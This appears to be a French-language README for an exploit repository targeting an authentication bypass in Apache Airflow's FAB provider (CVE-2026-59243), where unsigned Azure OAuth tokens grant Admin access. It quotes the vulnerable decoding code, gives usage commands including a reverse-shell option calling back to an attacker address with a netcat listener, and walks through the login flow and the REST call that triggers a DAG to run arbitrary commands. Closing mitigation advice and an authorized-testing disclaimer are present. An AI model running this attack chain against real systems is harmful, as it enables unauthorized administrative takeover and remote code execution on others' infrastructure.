0xdak/cve-2026-59243_exploitExploit pour le contournement de l'authentification OAuth FAB d'Apache Airflow (CVE-2026-59243) qui permet d'obtenir un accès administrateur et une exécution de code à distance en déclenchant un DAG spécialement conçu via l'API REST.
Contournement de l’authentification dans le fournisseur FAB auth-manager d’Apache Airflow (apache-airflow-providers-fab), menant à une exécution de code à distance via un DAG déclenché.
Le fournisseur décode l’id_token Azure OAuth avec la vérification de signature désactivée par défaut (airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt) :
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
... # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload)) # raw payload, NO signature check
Les claims sont directement mappés à l’identité — oid → nom d’utilisateur, roles → role_keys — et AUTH_ROLES_MAPPING transforme une claim roles=["Azure-Admins"] en rôle Admin. Comme la signature, l’émetteur et l’audience du jeton ne sont jamais vérifiés (CWE-347), un attaquant qui mène à terme le flux OAuth s’authentifie en tant qu’Admin sans aucune information d’identification réelle. Un Admin peut ensuite déclencher un DAG qui exécute des commandes arbitraires.
apache-airflow-providers-fab < 3.7.3 (avec apache-airflow >= 3.0.2)3.7.3 (valeur par défaut inversée vers verify_signature=True ; jeton validé contre les JWKS de Microsoft)8080 (interface Airflow + API REST)Uniquement la bibliothèque standard de Python 3. La cible doit avoir le gestionnaire d’authentification FAB avec le fournisseur OAuth Azure vulnérable configuré, et (pour l’étape RCE) un DAG dont la tâche exécute le dag_run.conf contrôlé par l’attaquant.
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444 # nc -lvnp 4444 first
GET /auth/login/azure → IdP → /auth/oauth-authorized/azure) avec un cookie jar. FAB accepte l’id_token non signé/forgé et connecte l’utilisateur en tant qu’Admin, en définissant un cookie session et un cookie _token (le JWT attendu par l’API REST).POST /api/v2/dags/<dag>/dagRuns (Bearer _token) avec {"conf":{"cmd":"..."}} déclenche un DAG dont le BashOperator exécute dag_run.conf['cmd']. Utiliser un logical_date unique par exécution (la paire (dag_id, logical_date) est unique dans la base de métadonnées).L’outil réécrit également l’hôte de bouclage dans la redirection authorize d’OAuth vers la cible, afin de fonctionner contre une cible distante dont l’IdP est annoncé comme 127.0.0.1 dans la configuration du serveur.
Cet exploit exploite la faille de vérification du jeton. Atteindre Admin nécessite que le flux OAuth produise un jeton avec une claim roles élevée — trivial là où l’IdP/le jeton peut être influencé, car Airflow ne vérifie jamais la signature. L’étape RCE suppose un DAG qui exécute dag_run.conf (un modèle courant) ; sinon, l’accès Admin peut être exploité via d’autres fonctionnalités d’Airflow.
Mettez à niveau apache-airflow-providers-fab vers ≥ 3.7.3 ; ne mappez jamais directement les claims de rôles OAuth assertées en externe vers Admin ; n’exécutez pas Airflow en tant que root ; maintenez l’interface et l’API hors des réseaux non fiables.
Pour des tests de sécurité autorisés et à des fins pédagogiques uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.